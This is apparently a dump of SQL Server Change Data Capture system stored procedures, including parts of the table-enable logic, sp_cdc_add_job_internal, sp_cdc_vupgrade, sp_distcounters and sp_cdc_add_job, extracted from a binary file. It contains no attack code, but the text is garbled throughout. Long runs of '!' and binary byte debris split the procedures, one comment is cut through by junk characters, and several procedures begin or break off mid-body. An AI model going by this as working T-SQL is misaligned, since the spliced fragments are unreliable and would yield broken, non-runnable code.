		and partition_number <> 1 )
	begin
		set @is_partitioned = 1
	end	

    -- Wrap tranaction logic in a TRY/CATCH block
    BEGIN TRY
    
		-- Authorization and verification checks have completed.
		-- Open a transaction to begin metadata updates.
		set @trancount = @@trancount
		
		begin tran
		save tran sp_enable_table_change_tracking

		--  Get shared database lock
		exec @applock_result = sys.sp_getapplock @Resource = @resource, @LockMode = N'Shared',
			@LockOwner = 'Transaction', @DbPrincipal = 'db_owner'
 
		If @applock_result < 0
		begin
			-- Lock request failed.
			set @action = N'sys.sp_getapplock @Resource = ' + @resource + N'@LockMode = N''Shared'', @LockOwner = ''Transaction'', @DbPrincipal = ''db_owner'' ' 
			raiserror(22840, 16, -1, @action, @applock_result)
		end

		-- The lock request was granted.
		-- Insure database is still enabled before proceeding
		If ([sys].fn_cdc_is_db_enabled() = 0)
		begin
			-- If database is disabled now, another thread disable CDC while 
			-- we were waiting for the shared lock. Error with an indication
			-- that CDC is no longer enabled for the database.
			raiserror(22901, 16, -1, @db_name)
		end
	
		--  Get exclusive table lock
		exec @applock_result = sys.sp_getapplock @Resource = @table_resource, @LockMode = N'Exclusive',
			@LockOwner = 'Transaction', @DbPrincipal = 'cdc'
		
		If @applock_result < 0
		begin
			-- Lock request failed.
			set @action = N'sys.sp_getapplock @Resource = ' + @table_resource + N'@LockMode = N''Exclusive'', @LockOwner = ''Transaction'', @DbPrincipal = ''cdc'' ' 
			raiserror(22840, 16, -1, @action, @applock_result)
		end
	
		-- The lock request was granted.
		-- Insure that there are not already two capture instances for the table
		select @count = [sys].[fn_cdc_capture_instances](@source_object_id)
		
		If (@count > 1)
		begin
			-- If there are already two capture instances for the source table 
			-- error here.
			raiserror(22962, 16, -1, @source_schema, @source_name)
		end
		
		--  Get exclusive instance lock
		set @instance_resource = quotename(@capture_instance)
		set @action = N'sys.sp_getapplock @Resource = @instance_resource, @LockMode = N''Exclusive'', @LockOwner = ''Transaction'', @DbPrincipal = ''cdc'' ' 
		exec @applock_result = sys.sp_getapplock @Resource = @instance_resource, @LockMode = N'Exclusive',
			@LockOwner = 'Transaction', @DbPrincipal = 'cdc'
		
		If @applock_result < 0
		begin
			-- Lock request failed.
			raiserror(22840, 16, -1, @action, @applock_result)
		end
	
		-- Insure that this capture instance name is not already being used
		if ([sys].[fn_cdc_capture_instance_exists](@capture_instance) = 1)
		begin
			raiserror(22926, 16, -1, @capture_instance)
		end

		-- Insure that the change table does not already exist
		if object_id(N'[cdc].' + quotename(@capture_instance + N'_CT')) is not null
		begin
			raiserror(22926, 16, -1, @capture_instance)
		end	
		
		-- Generate the new change table.
		set @action = N'sp_cdc_create_change_table'
		exec [sys].[sp_cdc_create_change_table]
			@source_schema, @source_name, @capture_instance, @filegroup_name
	
		-- Get the object_id of the new change table
		set @object_id = object_id(N'[cdc].' + quotename(@capture_instance + N'_CT'))

		-- Get current LSN and use it as start_lsn for this instance
		set @action = N'sp_replincrementlsn_internal'
		exec @retcode = sys.sp_replincrementlsn_internal @start_lsn OUTPUT
		if (@retcode != 0) or (@@error != 0)
		begin
			-- The actual error raised here is irrelevant. Just to raise an exception so that the "catch" code can run subsequently
			raiserror(22832, 16, -1, @source_table, @action, 0, N'')  
		end
		set @create_date = getdate()

		-- post a command to the log so that the log reader can pick it up and insert the mapping of @start_lsn to this current time
		-- into lsn_time_mapping
		set @action = 'sys.sp_replpostcmd'
		--cmd type is CDC_INSTANCE_START_LSN_TIME 214, use parameter 'pubid' to pass the change table's object id
		--the content length of this log record must be greater than 0, so that this log record can be really logged
		--'x' carries no meaning
		exec @retcode = sys.sp_replpostcmd 0, @object_id, 0, 214, N'x'
		if (@retcode != 0) or (@@error != 0)
		begin
			-- The actual error raised here is irrelevant. Just to raise an exception so that the "catch" code can run subsequently
			raiserror(22832, 16, -1, @source_table, @action, 0, N'')  
		end

		-- Add entry to [cdc].[change_tables] for the new change table.
		set @action = N'insert into [cdc].[change_tables]'
		exec [sys].[sp_cdc_add_capture_instance_entry]
			@object_id,
			@source_object_id,
			@capture_instance,
			@start_lsn,
			@supports_net_changes,
			@role_name,
			@index_name,
			@filegroup_name,
			@create_date,
			@is_partitioned,
			@allow_partition_switch
			
		-- Create the database role if the specified role does not already exist.
		if (@role_name is not null) 
		begin
			set @action = N'sp_cdc_verify_role_name ' 
			exec [sys].[sp_cdc_verify_role_name] @role_name, @role_exists OUTPUT
		end
		
		if ((@role_name is not null) and (@role_exists = 0))
		begin
			set @action = N'create role ' + quotename(@role_name)
			set @stmt = N'create role ' + quotename(@role_name)
			
			begin try
				exec (@stmt)
			end try
			
			begin catch
				if ERROR_NUMBER() <> 15023 
				begin
					select @raised_error = ERROR_NUMBER()
					select @raised_message = ERROR_MESSAGE()
					select @error_already_set = 1
					-- We want to ignore the error that the role already exists. Any other
					-- error, we want the outer catch block to catch, so we raise an error here.
					-- Note that the actual error raised here is irrelevant. 
					raiserror(22832, 16, -1, @source_table, @action, @raised_error, @raised_message)  
				end	
			end catch
		end
	
		-- Populate index_columns table
		set @action = N'insert into [cdc].[index_columns]'
		exec [sys].[sp_cdc_add_index_columns_entry]	@object_id
			
		-- Create!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<=
B0C4 the indexes on the change table. 
		set @action = N'sp_cdc_create_change_table_index'
		exec [sys].[sp_cdc_create_change_table_index]
			@capture_instance, @supports_net_changes
		
		-- Populate [cdc].[captured_columns] with the columns of the source table
		-- that are also columns of the change table.  
		set @action = N'insert into [cdc].[captured_columns]' 
		exec [sys].[sp_cdc_add_captured_columns] @object_id, @source_object_id

		-- Generate the table specific change enumeration functions.
		set @action = N'sp_cdc_create_change_enumeration_functions' 
		exec [sys].[sp_cdc_create_change_enumeration_functions]
	 		@source_schema, @source_name, @capture_instance, @supports_net_changes

		-- Grant select permission on the table specific change enumeration functions.
		set @action = N'sp_cdc_grant_select_on_change_enumeration_functions' 
		exec [sys].[sp_cdc_grant_select_on_change_enumeration_functions]
			@capture_instance, @supports_net_changes, @role_name

		-- Create the stored procedures to populate the change table
		set @action = N'sp_cdc_create_populate_stored_procs' 
		exec [sys].[sp_cdc_create_populate_stored_procs] @capture_instance 
		 
		-- Enable verbose logging for the table
		set @action = N'sp_MSverboselogging' 
		exec [sys].[sp_MSverboselogging]
			@source_object_id, 1
	
		-- Checks are done inside sp_cdc_add_job to see if transactional replication is enabled and contains at least one publication
		-- or logreader agent has been manually added, if so, don't add capture job
		-- note if db is published without any active tran pub but distributor is not accessible, we have to fail next step since we don't know 
		--		if there is already logreader agent 

		-- if there isn't already logreader agent and if this is the first table added, we add the SQL Agent Capture Job to do change tracking
		if (@first_table = 1)
		begin
			set @action = N'[sys].[sp_cdc_add_job] @job_type = N''capture'''
			exec [sys].[sp_cdc_add_job] @job_type = N'capture'
				,@pollinginterval = 5
				,@continuous = 1
				,@maxtrans = 500
				,@maxscans = 10
				,@check_for_logreader = 1
		end

		-- If this is the first table added, we add the SQL Agent Cleanup Job to do change table cleanup
		-- Default retention is set at 4320 minutes or 3 days.
		if @first_table = 1
		begin
			set @action = N'[sys].[sp_cdc_add_job] @job_type = N''capture'''
			exec [sys].[sp_cdc_add_job] @job_type = N'cleanup'
				,@retention = 4320
				,@threshold = 5000
		end

		-- Call sp_replflush to notify capture process that a new capture instance has been enabled.
		set @action = N'sys.sp_replflush'
		exec sys.sp_replflush

		commit tran

    END TRY
    
    BEGIN CATCH
    
		if @@trancount > @trancount
		begin
			-- If CDC opened the transaction or it is not possible 
			-- to rollback to the savepoint, rollback the transaction
			if ( @trancount = 0 ) OR ( XACT_STATE() <> 1 )
			begin
				rollback tran 
			end
			-- Otherwise rollback to the savepoint
			else
			begin
				rollback tran sp_enable_table_change_tracking
				commit tran
			end
		end
    
		-- If we haven't already saved the true error, save the 
		-- error number and associated message raised in the TRY block
		if @error_already_set = 0
		begin
			select @raised_error = ERROR_NUMBER()
			select @raised_message = ERROR_MESSAGE()
		end	 
    
    END CATCH
 
	if @raised_error = 0
	begin
		-- If the source table is a partitioned table, issue an appropriate 
		-- warning message before returning
		if exists (
				select partition_number
				from sys.partitions
				where object_id = @source_object_id
				and partition_number <> 1 )
		begin
			if @allow_partition_switch = 1
				raiserror(22855, 10, -1)
			else
				raiserror(22856, 10, -1)
		end
		else
		-- If the source table is not partitioned, and the @allow_partition_switch
		-- parameter was set to 0 (not defaulted or set to 1) issue an appropriate
		-- warning message before returning.
		begin
			if @allow_partition_switch = 0
				raiserror(22857, 10, -1)
		end
			
		return 0
	
	end
		
    raiserror(22832, 16, -1, @source_table, @action, @raised_error, @raised_message)  
    return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(>
0T):v1create procedure sys.sp_cdc_add_job_internal
(
    @job_type nvarchar(20),
    @start_job bit,
    @maxtrans int,
    @maxscans int,
    @continuous bit,
    @pollinginterval bigint,
    @retention bigint,
    @threshold bigint
)
with execute as 'dbo'
as
begin
    set nocount on
    
    declare @job_name sysname
           ,@retval   int
           ,@job_id   uniqueidentifier
           ,@old_job_id   uniqueidentifier
           ,@job_step_uid  uniqueidentifier
           ,@index    int
           ,@category_name sysname
           ,@command  nvarchar(1000)
           ,@server   sysname
           ,@databasename sysname
           ,@user     sysname
           ,@schedule_name sysname
           ,@database_id int
           ,@valid_job bit
           ,@description nvarchar(100)
           ,@step_name nvarchar(100)
		   ,@step_id int
		   ,@action nvarchar(1000)
		   ,@raise_error int
		   ,@raise_message nvarchar(4000)
		   ,@trancount int
		   ,@db_name sysname
		   
	set @db_name = db_name()	   

    -- Wrap transaction processing within a TRY/CATCH block
    BEGIN TRY
		
		set @trancount = @@trancount
    
		begin tran 
		save tran tr_sp_cdc_add_job
    
		--
		-- If the cdc_jobs table does not exist, create it
		--
		if object_id(N'msdb.dbo.cdc_jobs') is null
		begin
			set @action = N'create table msdb.dbo.cdc_jobs'
			create table msdb.dbo.cdc_jobs
			(
				database_id int not null,
				job_type nvarchar(20) not null,
				job_id uniqueidentifier null,
				maxtrans int null,
				maxscans int null,
				continuous bit null,
				pollinginterval  bigint null,
				retention bigint null,
				threshold bigint null,
				primary key (database_id, job_type)
			)
			
			set @action = N'sp_MS_marksystemobject ''msdb.dbo.cdc_jobs'''
			exec msdb.dbo.sp_MS_marksystemobject 'msdb.dbo.cdc_jobs'
		end

		--
		-- Existing and orphaned job check
		--
		select @old_job_id = job_id
		from msdb.dbo.cdc_jobs
		where database_id = db_id()
		and job_type = @job_type
    
		if @old_job_id is not null
		begin
			-- orphaned cdc_job entry, this occurs when a user manually drops a job
			if not exists ( select * from msdb.dbo.sysjobs where job_id = @old_job_id)
			begin
				set @action = N'delete from msdb.dbo.cdc_jobs'
				delete from msdb.dbo.cdc_jobs where database_id = db_id() and job_id = @old_job_id
			end	
			else -- job already exists (exit without error)
				goto FINISHED
		end
    
		--
		-- Begin job addition
		--
		select @job_name = N'cdc.' + db_name() + N'_' + @job_type
		select @valid_job = 0

		while @valid_job <> 1
		begin
			if exists (select * from msdb.dbo.sysjobs where name = @job_name)
			begin
				select @job_name = N'cdc.' + db_name() + N'_' + @job_type + 
					N'.' + CONVERT(nvarchar(36), NEWID())
			end
			else
				select @valid_job = 1
		end

		select @category_name = case @job_type when N'capture' then N'REPL-LogReader'   else N'REPL-Checkup' end 
		select @description   = case @job_type when N'capture' then N'CDC Log Scan Job' else N'CDC Cleanup Job' end 
		select @databasename  = db_name()
		select @database_id   = db_id()
		select @server        = CONVERT(sysname,SERVERPROPERTY('ServerName'))

		--
		--  add job, use agent security for now
		--
		set @action = N'msdb.dbo.sp_add_job'
		EXECUTE msdb.dbo.sp_add_job
			@job_name                   = @job_name,
			@enabled                    = 1,
			@start_step_id              = 1,
			@description                = @description,
			@category_name              = @category_name,
			@notify_level_eventlog      = 2, -- Write to event log on failure 
			@owner_login_name		    = NULL,
			@job_id                     = @job_id OUTPUT

		set @action = N'insert into msdb.dbo.cdc_jobs'
		insert into msdb.dbo.cdc_jobs (database_id, job_id, pollinginterval, maxtrans, maxscans, continuous, job_type, retention, threshold) 
			values (@database_id, @job_id, @pollinginterval, @maxtrans, @maxscans, @continuous, @job_type, @retention, @threshold)

		--
		-- add job step 
		--
		set @step_id = 1
		if(@job_type = N'capture')
		begin
			select @command = N'RAISERROR(22801, 10, -1)'

			select @step_name = N'Starting Change Data Capture Collection Agent'
		
			set @action = N'sp_add_jobstep_internal'
			EXECUTE msdb.dbo.sp_add_jobstep_internal
				@job_id                = @job_id,
				@step_id               = @step_id,
				@step_name             = @step_name,
				@subsystem             = N'TSQL',
				@command               = @command,
				@cmdexec_success_code  = 0,
				@on_success_action     = 3,      -- 1 = Quit With Success, 2 = Quit With Failure, 3 = Goto Next Step, 4 = Goto Step
				@on_fail_action        = 3,      -- 1 = Quit With Success, 2 = Quit With Failure, 3 = Goto Next Step, 4 = Goto Step
				@server                = @server,
				@database_name         = @databasename,
				@database_user_name    = NULL, -- DBO
				@retry_attempts        = 10, -- LR Defaults
				@retry_interval        = 1,  -- LR Defaults
				@os_run_priority       = 0,  -- LR Defaults
				@flags = 4, -- 4 = Write TSQL step output to step history,  
				@step_uid              = @job_step_uid OUTPUT
	    
			set @step_id = 2
		end

		select @command = case @job_type when N'capture' then N'sys.sp_MScdc_capture_job'
					  else N'sys.sp_MScdc_cleanup_job' end  

		select @step_name = case @job_type when N'capture' then N'Change Data Capture Collection Agent'
						else N'Change Data Capture Cleanup Agent' end
		
		set @action = N'sp_add_jobstep_internal'
		EXECUTE msdb.dbo.sp_add_jobstep_internal
			@job_id                = @job_id,
			@step_id               = @step_id,
			@step_name             = @step_name,
			@subsystem             = N'TSQL',
			@command               = @command,
			@cmdexec_success_code  = 0,
			@on_success_action     = 1,
			@on_fail_action        = 2,
			@server                = @server,
			@database_name         = @databasename,
			@database_user_name    = NULL, -- DBO
			@retry_attempts        = 10, -- LR Defaults
			@retry_interval        = 1,  -- LR Defaults
			@os_run_priority       = 0,  -- LR Defaults
			@flags = 4, -- 4 = Write TSQL step output to step history,  
			@step_uid              = @job_step_uid OUTPUT
    
		--
		-- add a job schedule
		--
		select @schedule_name = case @job_type when N'capture' then N'CDC capture agent schedule.'
						else N'CDC cleanup agent schedule.' end

		-- Run the job continuously if capture job
		if (@job_type = N'capture') 
		begin
			set @action = N'sp_add_jobschedule'
			EXECUTE @retval = msdb.dbo.sp_add_jobschedule
	    		@job_id                 = @job_id,
				@name                   = @schedule_name,
				@enabled                = 1,
				@freq_type              = 64,
				@freq_subday_type       = 1,
				@freq_subday_interval   = 1,
				@freq_relative_interval = 1,
				@freq_recurrence_factor = 1,
				@active_start_date      = 0,
				@active_end_date        = 0,
				@active_start_time      = 0,
				@active_end_time        = 0
		end		
		else
		-- Otherwise, schedule cleanup job to run once per day.
		begin
			set @action = N'sp_add_jobschedule'
			EXECUTE msdb.dbo.sp_add_jobschedule
	    		@job_id                 = @job_id,
				@name                   = @schedule_name,
				@enabled                = 1,
				@freq_type              = 4, -- run daily
				@freq_interval			= 1, -- every 1 days
				@freq_subday_type       = 1,
				@freq_subday_interval   = 1,
				@freq_relative_interval = 1,
				@freq_recurrence_factor = 1,
				@active_start_date      = 0,
				@active_end_date        = 0,
				@active_start_time      = 020000, -- at HHMMSS on a 24 hour clock = 2 AM
				@active_end_time        = 0
		end

		--
		-- Define the server on which the job runs, for CDC it's always local
		--
		set @action = N'sp_add_jobserver'
		EXECUTE msdb.dbo.sp_add_jobserver @job_id = @job_id
    
		--
		--!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(?
11vCv
create procedure [sys].[sp_cdc_vupgrade]
as
begin

	declare	@db_name sysname
			,@raised_error int
			,@raised_message nvarchar(4000)
			,@action nvarchar(1000)
			,@trancount int
			,@bypass_proc_gen bit

	set nocount on

	--
 	-- Authorization check.
	if (isnull(is_srvrolemember('sysadmin'),0) = 0) and (isnull(is_member('db_owner'),0) = 0)
	begin
		raiserror(22904, 16, -1)
		return(1)
	end

	set @raised_error = 0
	set @db_name = db_name()
	set @bypass_proc_gen = 0
	
	--
	-- Determine whether trace flag to bypass proc generation has been set 
	-- (trace flag 8218)
	exec sys.sp_is_trace_flag_to_bypass_proc_gen_set @bypass_proc_gen output
	
	create table #index_column_names(column_name sysname null, index_ordinal int null)

	-- Encapsulate transaction logic in TRY/CATCH. 
	begin try
   
		-- Open a transaction to begin metadata updates.
		set @trancount = @@trancount
		
		begin tran
		save tran tr_cdc_vupgrade

		if object_id(N'[cdc].[change_tables]') is not null
		begin
			if not exists (select * from sys.columns where object_id = object_id(N'[cdc].[change_tables]') and name = N'partition_switch')
			begin

				set @action = N'add column partition_switch'
				alter table [cdc].[change_tables] add partition_switch bit default 0 not null
			end
			
			if not exists (select * from sys.indexes where object_id = object_id(N'[cdc].[change_tables]') and name = N'source_object_id_idx')
			begin
			
				set @action = N'create index source_object_id_idx on cdc.change_tables'
				create index [source_object_id_idx] on [cdc].[change_tables] (  source_object_id ASC )
			end
			
			-- Drop index change_table_nonunique_idx if it exists
			if exists (select * from sys.indexes where object_id = object_id(N'[cdc].[change_tables]') and name = N'change_tables_nonunique_idx')
			begin
			
				set @action = N'drop cdc.change_tables index change_tables_nonunique_idx'
				drop index [change_tables_nonunique_idx] on [cdc].[change_tables]
			end
			
			-- create index change_table_unique_idx if it doesn't exist otherwise create with drop_existing option
			if not exists (select * from sys.indexes where object_id = object_id(N'[cdc].[change_tables]') and name = N'change_tables_unique_idx')
			begin
			
				set @action = N'create cdc.change_tables index change_tables_unique_idx'
				create unique index [change_tables_unique_idx] on [cdc].[change_tables] (  capture_instance ASC )
			end
			else
			begin
			
				set @action = N'alter cdc.change_tables index change_tables_unique_idx with (drop_existing = on)'
				create unique index [change_tables_unique_idx] on [cdc].[change_tables] (  capture_instance ASC )
				with (drop_existing = ON)
			end
			
			-- Insure nullability setting is correct for all columns in the meta data tables
			-- cdc.change_tables
			if exists (select * from sys.columns where object_id = object_id('cdc.change_tables') and name = N'version' and is_nullable = 0)
				alter table cdc.change_tables alter column version int null
			if exists (select * from sys.columns where object_id = object_id('cdc.change_tables') and name = N'source_object_id' and is_nullable = 0)
				alter table cdc.change_tables alter column source_object_id int null
			if exists (select * from sys.columns where object_id = object_id('cdc.change_tables') and name = N'supports_net_changes' and is_nullable = 0)
				alter table cdc.change_tables alter column supports_net_changes bit null
			if exists (select * from sys.columns where object_id = object_id('cdc.change_tables') and name = N'has_drop_pending' and is_nullable = 0)
				alter table cdc.change_tables alter column has_drop_pending bit null
			if exists (select * from sys.columns where object_id = object_id('cdc.change_tables') and name = N'create_date' and is_nullable = 0)
				alter table cdc.change_tables alter column create_date datetime null

			-- cdc.captured_columns
			if exists (select * from sys.columns where object_id = object_id('cdc.captured_columns') and name = N'column_id' and is_nullable = 0)
				alter table cdc.captured_columns alter column column_id int null
			if exists (select * from sys.columns where object_id = object_id('cdc.captured_columns') and name = N'is_computed' and is_nullable = 0)
				alter table cdc.captured_columns alter column is_computed bit null
			
			-- cdc.index_columns
			if exists (select * from sys.columns where object_id = object_id('cdc.index_columns') and name = N'column_id' and is_nullable = 0)
				alter table cdc.index_columns alter column column_id int null

			-- cdc.dll_history
			if exists (select * from sys.columns where object_id = object_id('cdc.ddl_history') and name = N'source_object_id' and is_nullable = 0)
				alter table cdc.ddl_history alter column source_object_id int null
			if exists (select * from sys.columns where object_id = object_id('cdc.ddl_history') and name = N'required_column_update' and is_nullable = 0)
				alter table cdc.ddl_history alter column required_column_update bit null
			if exists (select * from sys.columns where object_id = object_id('cdc.ddl_history') and name = N'ddl_command' and is_nullable = 0)
				alter table cdc.ddl_history alter column ddl_command nvarchar(max) null
			if exists (select * from sys.columns where object_id = object_id('cdc.ddl_history') and name = N'ddl_time' and is_nullable = 0)
				alter table cdc.ddl_history alter column ddl_time datetime null

			-- cdc.lsn_time_mapping
			if exists (select * from sys.columns where object_id = object_id('cdc.lsn_time_mapping') and name = N'tran_begin_time' and is_nullable = 0)
				alter table cdc.lsn_time_mapping alter column tran_begin_time datetime null
			if exists (select * from sys.columns where object_id = object_id('cdc.lsn_time_mapping') and name = N'tran_end_time' and is_nullable = 0)
				alter table cdc.lsn_time_mapping alter column tran_end_time datetime null
			if exists (select * from sys.columns where object_id = object_id('cdc.lsn_time_mapping') and name = N'tran_id' and is_nullable = 0)
				alter table cdc.lsn_time_mapping alter column tran_id varbinary(10) null
			if exists (select * from sys.columns where object_id = object_id('cdc.lsn_time_mapping') and name = N'tran_begin_lsn' and is_nullable = 0)
				alter table cdc.lsn_time_mapping alter column tran_begin_lsn binary(10) null
			
			-- Regenerate the enumeration TVFs to use the modified definition of fn_cdc_check_parameters
			declare @source_schema sysname, @source_name sysname, @capture_instance sysname,
				@supports_net_changes bit, @role_name sysname, @index_name nvarchar(1000),
				@fn_all_changes nvarchar(1000), @fn_net_changes nvarchar(1000), @change_table nvarchar(1000),
				@stmt nvarchar(max), @pk_column_list nvarchar(max), @column_name sysname, @ddl_action nvarchar(10)

			declare #hinstance cursor local fast_forward for
				select object_schema_name(source_object_id) as source_schema,
					   object_name(source_object_id) as source_name,
					   capture_instance, supports_net_changes, role_name
				from cdc.change_tables
				where object_schema_name(source_object_id) is not null and
					  object_name(source_object_id) is not null

			open #hinstance
			fetch #hinstance into @source_schema, @source_name, @capture_instance,
				@supports_net_changes, @role_name

			while (@@fetch_status <> -1)
			begin
				-- Drop the enumeration TVFs if they exist
				set @fn_all_changes = N'[cdc].' + quotename( N'fn_cdc_get_all_changes' +  N'_' + @capture_instance)
				set @fn_net_changes = N'[cdc].' + quotename( N'fn_cdc_get_net_changes' +  N'_' + @capture_instance)
				set @index_name = quotename(@capture_instance + N'_CT_idx')
				set @change_table = N'[cdc].' + quotename(@capture_instance + N'_CT')
	
				if object_id (@fn_all_changes, 'IF') is not null
				begin
					set @action = N'drop function fn_cdc_get_all_changes_<capture_instance>' 
					set @stmt = N'drop function ' + @fn_all_changes
					exec (@stmt)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`t?<w@
u'40'G@ 8
create procedure sys.sp_distcounters
    AS

    SET NOCOUNT ON

    /*
    ** Declarations.
    */
    DECLARE @distributor sysname
    DECLARE @distribdb sysname
    DECLARE @distproc nvarchar (300)
    DECLARE @retcode int

    /*
    ** Get distribution server information for remote RPC
    ** subscription calls.  If no distribution information, assume
    ** replication is not being used.
    */
    EXEC @retcode = sys.sp_MSrepl_getdistributorinfo @rpcsrvname = @distributor OUTPUT,
                                       @distribdb = @distribdb OUTPUT
    IF @@error <> 0 OR @retcode <> 0 OR @distributor IS NULL OR
       @distribdb IS NULL
    RETURN (1)

    /*
    ** Request counters from Distribution Server
    */
    SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(RTRIM(@distribdb)) +
    '.dbo.sp_MSdistribution_counters'
    declare @publisher sysname
    select @publisher = publishingservername()
    EXEC @retcode = @distproc @publisher
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<A
0eFp0_X 8create procedure sys.sp_cdc_add_job
(
    @job_type nvarchar(20),
    @start_job bit = 1,
    @maxtrans int = null,
    @maxscans int = null,
    @continuous bit = null,
    @pollinginterval bigint = null,
    @retention bigint = null,
    @threshold bigint = null,
	@check_for_logreader bit = 0
)
as
begin
    set nocount on

    declare @job_name sysname
           ,@retval   int
           ,@job_id   uniqueidentifier
           ,@old_job_id   uniqueidentifier
           ,@job_step_uid  uniqueidentifier
           ,@index    int
           ,@category_name sysname
           ,@command  nvarchar(1000)
           ,@server   sysname
           ,@databasename sysname
           ,@user     sysname
           ,@schedule_name sysname
           ,@database_id int
           ,@valid_job bit
           ,@description nvarchar(100)
           ,@step_name nvarchar(100)
			,@logreader_exists bit

	-- Verify SQL Server edition
    -- CDC is restricted to Eval, Enterprise and Developer editions
    IF (sys.fn_MSrepl_editionid () not in (30,31))
    BEGIN
        DECLARE @edition sysname
        SELECT @edition = CONVERT(sysname, SERVERPROPERTY('Edition'))
        RAISERROR(22988, 16, -1, @edition)
        RETURN (1)
    END
    
	--
    -- CDC Job security check 
    --
    exec @retval = [sys].[sp_MScdc_job_security_check] 
    if @retval <> 0 or @@error <> 0
        return (1)
        
    -- Verify database is currently enabled for change data capture
    if ([sys].[fn_cdc_is_db_enabled]() != 1)
    begin
		set @databasename = db_name()
		raiserror(22901, 16, -1, @databasename)
        return 1
    end
            
	set @job_type = rtrim(ltrim(lower(@job_type)))

	--
    -- Parameter validation
    --
    
    -- job type must be either 1 or 2
    if ((@job_type is null) or (@job_type not in (N'capture', N'cleanup')))
	begin
		raiserror(22992, 16, -1, @job_type)
		return(1)
	end
	
	--
    -- Insure that transactional replication is not also enabled for the database
    --
    if (@job_type = N'capture')
    begin
		set @logreader_exists = 0
		exec @retval = [sys].[sp_MScdc_tranrepl_check] @logreader_exists = @logreader_exists output, @skip_remote_check = @check_for_logreader
		if @retval <> 0 or @@error <> 0
			return (1)
	end
	--coming from sp_cdc_enable_table, when db is published for tran and there is logreader agent already, don't raiserror
	if (@logreader_exists = 1) and (@check_for_logreader = 1)
		return 0
	
	-- Set job specific defaults
	if (@job_type = N'capture')
	begin
		if (@continuous is null)
			set @continuous = 1
			
		if (@maxtrans is null)
			set @maxtrans = 500
			
		if (@maxscans is null)
			set @maxscans = 10
			
		if (@pollinginterval is null)
		begin
			if (@continuous = 1)
				set @pollinginterval = 5
			else
				set @pollinginterval = 0	
		end		
	end
	else 
	begin
		if (@retention is null)
			set @retention = 4320
		if (@threshold is null)
			set @threshold = 5000	
	end

	-- Only @retention, @threshold, and @start_job may have non-null values for cleanup job
    if (@job_type = N'cleanup') and 
		( (@pollinginterval is not null) or
		  (@maxtrans is not null) or
		  (@continuous is not null) or
		  (@maxscans is not null))
	begin
		raiserror(22996, 16, -1)
		return(1)
	end	
	
	-- Only @pollinginterval, @maxtrans, @maxscans, @continuous, and @start_job may have non-null values for capture job
    if (@job_type = N'capture') and ((@retention is not null) or (@threshold is not null)) 
	begin
		raiserror(22995, 16, -1)
		return(1)
	end
	
	if (@job_type = N'capture')
		select @retention = 0, @threshold = 0
	else
		select @pollinginterval = 0, @maxtrans = 0, @continuous = 0, @maxscans = 0
	
    -- 24 hour maximum on polling interval
    if (@pollinginterval > (60*60*24)) or (@pollinginterval < 0)
	begin
		raiserror(22990, 16, -1)
		return(1)
	end		

    -- Retention may not be negative or greater than 52594800 if adding cleanup job
    if (@job_type = N'cleanup') and ((@retention <= 0) or (@retention > 52594800))
	begin
		raiserror(22994, 16, -1)
		return(1)
	end
	
    -- Threshold may not be negative if adding cleanup job
